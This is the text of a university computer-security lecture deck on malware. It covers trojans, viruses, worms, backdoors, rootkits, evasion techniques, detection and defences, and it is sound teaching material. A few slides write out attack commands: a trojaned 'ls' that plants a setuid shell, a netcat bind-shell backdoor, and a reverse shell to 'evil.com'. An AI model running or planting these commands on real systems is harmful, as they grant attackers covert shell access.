Download Malware

CSC 382: Computer Security
Malware
CSC 382: Computer Security
Slide #1
Topic
1. Types of Malware
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Trojan Horses
Viruses
Worms
Backdoors
Rootkits
Self-Protection Mechanisms.
Payloads.
Malware Interactions.
Detecting Malware.
Defending against Malware.
CSC 382: Computer Security
Slide #2
Types of Malware
Trojan Horse
Tricks user into executing malicious code.
Virus
Copies self into other files.
Worm
Copies self from computer to computer.
Backdoors
Leaves opening for attacker to gain access.
Rootkits
Hides attacker activities from system administrators.
CSC 382: Computer Security
Slide #3
What about Spyware?
Malware by any other name…
– Corporate malware.
– Presents legal issues for anti-malware software.
CSC 382: Computer Security
Slide #4
Trojan Horse
Program with both an
overt and covert effect
– Displays expected
behavior when user
executes.
– Covert effect (executed
with user’s privileges)
violates security policy.
Attacker:
cat >ls
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
^D
Victim:
ls
CSC 382: Computer Security
Slide #5
Virus
Self-replicating code
– Propagating (replicating) Trojan horse.
– Inserts (possibly evolved) copy into other files.
Virus Pseudocode:
If spread condition then
Foreach target-file
if not infected then copy virus to target-file
Perform (malicious) action
Execute normal code
CSC 382: Computer Security
Slide #6
Types of Viruses
1. Boot Sector
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When system boots, code in boot sector executed.
Propagate by altering boot disk creation.
Uncommon today because of low use of boot
floppies.
2. Executable
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Infects executable programs (e.g., COM, EXE).
Executes when infected program is run.
Virus usually runs first, then runs original code.
3. Dynamic Library
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Infected dynamicly linked libraries (DLLs.)
Executed when any program uses infected DLL.
CSC 382: Computer Security
Slide #7
Types of Viruses
4. Device Driver
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Infects loadable device driver.
Executes in kernel mode.
5. Virtual Machine (.NET)
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Infects .NET MSIL binaries.
Portable: compiled to native code by CLR.
6. Archive Infectors
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Inserts Trojan horse into ZIP files.
Uses social engineering techniques to get user to run.
CSC 382: Computer Security
Slide #8
Types of Viruses
7. Macro Virus
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Infects embedded interpreted code.
Needs interpreter like sh, MS Word macro.
Can infect executables or data files
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Executables must invoke appropriate interpreter.
Most modern data formats support some type
of scripting, including
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Microsoft Office
Windows Help files
HTML: VBScript, JScript
CSC 382: Computer Security
Slide #9
Infection Methods
1. Overwriting
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Overwrites program code with virus.
Breaks infected program.
2. Appending
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Append virus code to executable.
Insert JMP at beginning of executable.
3. Prepending
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Insert virus code at beginning of executable.
Shift original code to follow virus.
CSC 382: Computer Security
Slide #10
Infection Methods
4. Parasitic
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Inserts virus code at beginning of executable.
Shifts beginning of program to end of file.
5. Cavity
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Insert virus code into unused blocks of file.
Insert JMP at beginning of executable.
6. Fractionated Cavity
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Fragment virus; inject into multiple cavities.
Loader reads fragments into continuous
memory.
CSC 382: Computer Security
Slide #11
Infection Methods
7. Compressing
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Compresses executable to make space.
Inserts virus and decompression code.
8. Fragmenting
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Dynamically fragment virus.
Insert fragments by overwriting or shifting code.
Fragments JMP/CALL each other.
9. Companion
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Infects COM file of same name as EXE file.
Infects alternate data stream of Win32 file.
CSC 382: Computer Security
Slide #12
In-Memory Strategies
Direct Action
– Virus runs only when infected code is run.
Memory Resident
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Remains active in memory after application terminates.
Interrupt hook (TSR) in DOS.
Kernel-mode rootkit techniques under modern OSes.
Can infect any program that runs after virus.
Example: Jerusalem Virus (Danube variant)
• Multipartite TSR virus.
• Infects all executables except command.com.
• Also infects boot sector.
• Deletes files on Friday the 13th.
CSC 382: Computer Security
Slide #13
Worms
Copies self from one computer to another
Self-replicating: No user action required unlike
virus or Trojan horse programs.
Spreads via network protocols
ex: SMTP (email), fingerd, MS SQL
CSC 382: Computer Security
Slide #14
History of Worms
Morris Worm Nov 1988 Disabled most of Internet
using multiple vectors.
Melissa
Mar 1999 MS Word macro virus
spread via Outlook email.
Code Red
Aug 2001 IIS Buffer overflow.
Code Green
Slammer
Sobig
Sep 2001 Removed Code Red II and
patched vulnerability.
Jan 2003 SQL Server worm infected
Internet <1 hr.
Jun 2003 Spam zombie botnet; RCI.
CSC 382: Computer Security
Slide #15
Worm Components
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Vector
Propagation Engine
Remote Control Interface
Target Selection Algorithm
Scanning Engine
Payload
CSC 382: Computer Security
Slide #16
Vector
Software to gain access to target host.
Common vectors:
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Buffer overflow exploits.
Network file sharing, both NFS/SMB and P2P.
Social-engineering via email or IM.
Weak passwords.
Parasitism: target backdoors and worm flaws.
CSC 382: Computer Security
Slide #17
Propagation Engine
Transfers worm to host exploited by vector.
– Small worms like Slammer included in vector.
Worm Propagation Methods:
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FTP
HTTP
SMB
TFTP
CSC 382: Computer Security
Slide #18
Remote Control Interface
RCI allows creator to control infected hosts.
Many worms do not have a RCI.
May be a well-known backdoor program.
Common remote control features:
Start/stop infecting new targets.
Download new vectors.
Download new target selectors.
Download new payloads.
CSC 382: Computer Security
Slide #19
Target Selection
Selecting targets for potential infection.
E-mail address harvesting
– Address books.
– Parse disk files.
– Search news groups.
Network share enumeration
– Check for filesystems shared with other systems.
Network scanning
– Target hosts on current network and connected nets.
– Randomized scanning of Internet space.
Web searching
– Search Google for addresses or vulnerable software.
CSC 382: Computer Security
Slide #20
Scanning Engine
Check targets for vulnerabilities.
– If vector small, scanning can be skipped.
Scan for vulnerable services.
– Like targeted nmap port scan.
OS Check
– Check for correct OS for vector to work.
Version checking.
– Check version of target software.
– May customize vector based on information.
CSC 382: Computer Security
Slide #21
Morris Worm
• First Internet Worm: November 1988
• Multi-architecture: Sun, VAX
• Multi-vector
– sendmail (debug backdoor)
– fingerd (buffer overflow)
– rsh (open .rhosts; password cracking)
CSC 382: Computer Security
Slide #22
Morris Worm
Spreading algorithm
Local network topology: gateways, neighbors.
Used users’ .rhosts, .forward files.
Limited reinfection rate.
Detection Avoidance
Forged process listing as (sh).
Removed created files quickly after use.
CSC 382: Computer Security
Slide #23
Morris Worm
Resource Requirements
Disk Space.
C compiler and linker.
Network connection to parent computer.
Problems
Didn’t limit re-infections.
Saturated CPU, network resources.
CSC 382: Computer Security
Slide #24
CSC 382: Computer Security
Slide #25
Types of Backdoors
1. Local Privilege Escalation
2. Remote Command Execution
3. Remote Shell Access
4. Remote GUI Control
CSC 382: Computer Security
Slide #26
Backdoor Techniques
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Trojan-horse login or hidden SUID root shell
Open shell on high port, via netcat or inetd
Reverse telnet connection
Trojaned ssh running on a high port
Telnet-type service on high UDP port
Covert channel: Loki “ICMP telnet”
CGI “shell” script on web server
Port knocking: backdoor service only begins to listen on
port after a certain sequence of attempted connections
are made to closed ports.
Sniffer-based backdoor: backdoor service begins to
accept commands after receiving special packet not
addressed to IP address.
CSC 382: Computer Security
Slide #27
Netcat Backdoors
# nc –l –p 2222 –e /bin/sh (server on victim)
$ nc victim.org 2222 (client on attacker host)
stdin
stdin
Netcat
(client)
Netcat
(server)
Network
stdout
stdout
CSC 382: Computer Security
Slide #28
Reverse Backdoors
• What if the firewall blocks port 2222?
• What if the firewall blocks all incoming
connections to victim.org?
• Solution:
– Run the listener on the attacker host (evil.com).
nc –l –p 80
– Run the client with a shell on the victim host.
nc evil.com 80 –e /bin/sh
CSC 382: Computer Security
Slide #29
Finding Backdoor Scripts
Manual Scan
Time-consuming and error prone.
Automatic
UNIX: chkrootkit, Titan
Windows: Autorun from www.sysinternals.com
File Integrity Check
HIDS like Tripwire
CSC 382: Computer Security
Slide #30
What is a rootkit?
Collection of attacker tools installed after an
intruder has gained access
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Log cleaners
File/process/user hiding tools
Network sniffers
Backdoor programs
CSC 382: Computer Security
Slide #31
Rootkit Goals
1. Remove evidence of original attack and activity
that led to rootkit installation.
2. Hide future attacker activity (files, network
connections, processes) and prevent it from
being logged.
3. Enable future access to system by attacker.
4. Install tools to widen scope of penetration.
5. Secure system so other attackers can’t take
control of system from original attacker.
CSC 382: Computer Security
Slide #32
Rootkit Types
Binary Rootkits
– Replace user programs like ls, netstat, and ps to
hide malicious activity
– Add backdoors to programs like login and sshd
Library Rootkits
– Replace core system libraries to intercept common
system calls to hide activities and add backdoors
Kernel Rootkits
– Modify system calls/structures that all user-mode
programs rely on to list users, processes, and sockets
– Add backdoors to kernel itself
CSC 382: Computer Security
Slide #33
Knark
• Linux-based LKM rootkit
• Features
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Hide/unhide files or directories
Hide TCP or UDP connections
Execution redirection
Unauthenticated privilege escalation
Utility to change UID/GID of a running process.
Unauthenticated, privileged remote execution daemon.
Kill –31 to hide a running process.
• modhide: assistant LKM that hides Knark from
module listing attempts.
CSC 382: Computer Security
Slide #34
Rootkit Detection
• Online scan
– Examine commonly changed files and logs.
– Scan kernel modules, examine kernel memory.
– Examples: chkrootkit or carbonite
• Offline system examination
– Mount and examine disk using another OS
kernel+image.
– Knoppix: live CD linux distribution.
• Computer Forensics
– Examine disk below filesystem level.
– Helix: live CD linux forensics tool.
CSC 382: Computer Security
Slide #35
Malware Self-Protection
Anti-debugging
Detect/disable debuggers when used to analyze code.
Attack anti-malware tools
Disable anti-malware tools upon infection.
Kill processes or destroy/modify signatures.
API checksums
Avoid having UNIX/Win32 API calls in code.
Store checksums of API names and search for match.
Code obfuscation
Use unusual tricks and unused code to avoid dissassembly
and prevent quick analysis of purpose.
Self-modifying code.
CSC 382: Computer Security
Slide #36
Self-Protection
Compression
Code looks almost random; size is smaller.
Use unusual executable packers to avoid analysis.
Data encryption
Encrypt strings, hostnames, IP addresses to avoid detection.
Embedding
Embed infection in one format inside a document inside an
archive file.
Scanners have to understand and have time to parse and
decompress each file format.
CSC 382: Computer Security
Slide #37
Self-Protection
Entry-Point Obscuring
Changing initial code or entry point easy to notice.
Alter program code to gain control randomly.
Host morphing
Alter host file during infection to prevent removal.
CSC 382: Computer Security
Slide #38
Self-Protection: Encryption
Encrypt all code except small decryptor.
– Note that copy protected files will have similar
decryptors to prevent analysis too.
– Often uses multiple decryptors.
– Change encryption key dynamically.
Random Decryption Algorithm (RDA)
– Choose random key for encryption.
– Brute force search for key to decrypt.
– Slows VMs/debuggers used for analysis.
CSC 382: Computer Security
Slide #39
Self-Protection: Polymorphism
Alter malware code with each infection.
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Cannot be detected by signature scanning.
May alter decryptor only or entire code.
Insert junk instructions that do nothing.
Fragment and rearrange order of code.
Alternate sets of instructions for the same task.
• Ex: SUB -1 instead of ADD 1
– Randomize names in macro viruses.
CSC 382: Computer Security
Slide #40
Case Study: Zmist
EPO, encrypted, polymorphic virus.
Code integration
Decompiles PE files to smallest elements.
Inserts virus randomly into existing code.
Rebuilds executable.
Polymorphic decryptor
Inserted as random fragments linked by JMPs.
Randomizes self with ETG engine.
CSC 382: Computer Security
Slide #41
Payloads
Accidentally destructive.
Replication damages data due or exhausts system resources
due to malware bugs.
Ex: Morris Worm reinfected hosts, using all CPU.
Nondestructive.
Displays message, graphics, sound, or open CD door.
Ex: Christma worm on IBM network in 1987.
Destructive.
Triggers randomly or on some event or machine type.
Deletes files or overwrites data.
Hardware destroyers: overwrite BIOS.
CSC 382: Computer Security
Slide #42
Payloads
Denial of Service
Sometimes accidental due to high network use.
Launch DDOS attack with all infected systems.
Data Theft
Phishing scams and spyware.
Encryptors
Encrypts user data.
Ex: One_Half encrypts disk; enables access while running.
Ex: AIDS Info: encrypts disk and holds for ransom.
Spam
Use network of infected systems to launder spam email.
Ex: Sobig worm.
CSC 382: Computer Security
Slide #43
Malware Interactions
What happens when a virus infects a worm?
Typically both propagate.
May use each other’s self-protection techniques.
What if anti-virus software removes a virus?
Likely leaves unknown virus/worm alone.
May mutate the malware into a new form.
Competition and Parasitism
Malware may remove competing malware.
May exploit backdoors/RCI left by previous malware.
May infect competing malware, hijacking its propagation.
CSC 382: Computer Security
Slide #44
Theory of Malicious Code
Theorem 22-1: It is undecidable whether an
arbitrary program contains a computer virus.
Proof:
Define virus v as TM program that copies v to other parts
of the tape, while not overwriting any part of v.
Reduce to Halting Problem: T’ running code V’
reproduces V iff running T on V halts.
Theorem 22-2: It is undecidable whether an
arbitrary program contains malicious logic.
CSC 382: Computer Security
Slide #45
Detecting Malware
Signature-based
– Look for known patterns in malicious code.
– Defeated by polymorphic viruses.
Smart scanning
– Skips junk instructions inserted by poly engines.
– Skips whitespace/case changes in macro viruses.
Decryption
– Brute-forces simple XOR-based encryption.
– Checks decrypted text against small virus sig to
decide whether has plaintext or not.
CSC 382: Computer Security
Slide #46
Detecting Malware
Code Emulation
– Execute potential malware on VM.
– Scan VM memory after certain # iterations.
– Watch instructions for decryptor profile.
Code Optimization.
– Optimize away junk instructions and odd
techniques used by polymorphic viruses.
CSC 382: Computer Security
Slide #47
Detecting Malware
Heuristics
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Code execution starts in last section.
Suspicious code redirection.
Suspicious section ACLs or size.
Suspicious library routine imports.
Hard-coded pointers into OS kernel.
Neural Network Heuristics
– IBM researchers trained neural net to recognize
difficult polymorphic viruses.
– Released in Symantec antivirus.
CSC 382: Computer Security
Slide #48
Detecting Malware
Behavior-based
– Watch for known actions from malicious code.
– Network access signature of worm.
– Unexpected use of dangerous system calls.
Integrity Checking
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Host-based Intrusion Detection System.
Record MAC, size, dates, ACL of files.
Periodically check for changes.
ex: Tripwire, AIDE
CSC 382: Computer Security
Slide #49
Defences
Separate data and instructions
– Virus treats program as data
• Writes self to file.
– Virus treats program as instructions
• Virus executes when program is run.
– Solution: Treat all programs as data until
trusted authority marks as executable.
• Development difficult when compilers can’t produce
executable code.
CSC 382: Computer Security
Slide #50
Defences
Limit Information Flow
– Virus executes with user’s identity.
– Soln: Limit information flow between users.
• Set flow distance to be one for users A, B, C.
• A creates virus (fd=0), B executes it (fd=1).
• C cannot execute B’s infected program (fd=2).
– Indirect virus spread limited.
– How can we track information flow?
CSC 382: Computer Security
Slide #51
Defences
Least Privilege
– User drops
privileges when
running program.
– Programs run with
least privilege.
– ex: Limit files
accessible by
compiler stages.
CSC 382: Computer Security
Program Reads Writes Execs
cc
*.[ch]
*.s
as
*.s
*.o
ld
*.[ao]
*.out
as, ld
Slide #52
Defences
Sandboxing
Execute code in protected region.
ex: sandbox, VM
Multilevel Integrity Policies
Place programs at lowest level.
Prevents processes from writing to lower levels.
ex: DG/UX virus protection region
CSC 382: Computer Security
Slide #53
Defences
Validate program actions with policy
Limit access to system calls.
Example: systrace.
Check statistical characteristics.
Programmer style.
Compare source code with object.
Statistics of write frequencies, program
executions.
CSC 382: Computer Security
Slide #54
Defences
Counter-worms
– A worm that removes specific target worms
from network.
– ex: Nachi/Welchia
• Multi-vector W32 worm
• Nachi.A removes W32/Blaster worm
• Nachi.B removes W32/MyDoom worm
CSC 382: Computer Security
Slide #55
The Future: Speed
Fast Worms: Slammer
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Attacked MS SQL servers.
Worm is single 404-bye UDP packet.
Random-scan (PRNG bugs limited.)
Limited by network bandwidth, not latency.
Observed scan rate of 26,000 hosts/second.
Infected 90% of vulnerable hosts in 10 min.
Too fast for humans to react.
CSC 382: Computer Security
Slide #56
The Future: Profit
Profitable Worms: Sobig
– W32 worm using email/network share vectors.
– Contains upgrade mechanism
• Worm checked sites every few minutes.
• When site valid, downloaded code.
• Later variants could update upgrade server list.
– Downloaded payload from upgrade mechanism
• Key logger.
• Wingate proxy server (for spam proxying.)
CSC 382: Computer Security
Slide #57
The Future: Offline Impact
Davis-Besse nuclear power plant
Slammer infected Plant Process Computer and Safety
Parameter Display System (Jan 2003.)
Analog backups unaffected.
Infected contractor’s network, then moved through T1
line that bypassed plant firewall.
Seattle 911 system
Slammer disabled computer systems.
Dispatchers reverted to manual systems.
2003 Blackout
Blaster infected First Energy systems.
CSC 382: Computer Security
Slide #58
Malware Trends 2005
Profit
Backdoor.Lala transfers authentication cookies
for eBay, PayPal, etc. to maker.
PWSteal.Bancos automates phishing by
displaying fake web pages when browser goes
to certain bank sites.
Spyware and Adware
More than ever using Trojan techniques.
Win32/Bube virus exploits IE flaw and acts as a
virus infecting IE, then downloads adware.
CSC 382: Computer Security
Slide #59
Malware Trends 2005
Online game attacks
Trojans steal game identities/items, sell for $.
Botnets
Estimated growth of 300,000/month.
DoS, key/network logging, worm initialization.
IM Worms
Primarily VB code targeting MSN Messenger.
Typically use link to infected site with file,
instead of using IM direct file transfer.
CSC 382: Computer Security
Slide #60
Malware Trends 2005
Mobile malware
Cabir virus infecting Symbian OS mobile phones
using Bluetooth appeared June 2004.
Dozens of Trojans, viruses, and worms appeared
using similar techniques.
CSC 382: Computer Security
Slide #61
References
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14.
Ross Anderson, Security Engineering, Wiley, 2001.
Matt Bishop, Computer Security: Art and Science, Addison-Wesley, 2003.
William Cheswick, Steven Bellovin, and Avriel Rubin, Firewalls and Internet Security, 2nd
edition, 2003.
Fred Cohen, http://www.all.net/books/virus/part1.html, 1984.
Simson Garfinkel, Gene Spafford, and Alan Schartz, Practical UNIX and Internet Security,
3rd edition, O’Reilly & Associates, 2003.
Alexander Gostev, “Malware Evolution: January - March 2005,”
http://www.viruslist.com/en/analysis?pubid=162454316, April 18 2005.
Elias Levy, “Crossover: Online Pests Plaguing the Offline World,” IEEE Security & Privacy,
2003.
Stuart McClure, Joel Scambray, George Kurtz, Hacking Exposed, 3rd edition, McGraw-Hill,
2001.
Hilarie Orman, “The Morris Worm: A Fifteen-Year Perspective,” IEEE Security & Privacy,
2003
Cyrus Peikari and Anton Chuvakin, Security Warrior, O’Reilly & Associates, 2003.
Ed Skoudis, Counter Hack, Prentice Hall, 2002.
Ed Skoudis and Lenny Zeltser, Malware: Fighting Malicious Code, Prentice Hall, 2003.
Staniford, Stuart, Paxson, Vern, and Weaver, Nicholas, ‘How to 0wn the Internet in Your
Spare Time,” Proceedings of the 11th USENIX Security Symposium, 2002
Peter Szor, The Art of Computer Virus Research and Defense, Addison-Wesley, 2005.
CSC 382: Computer Security
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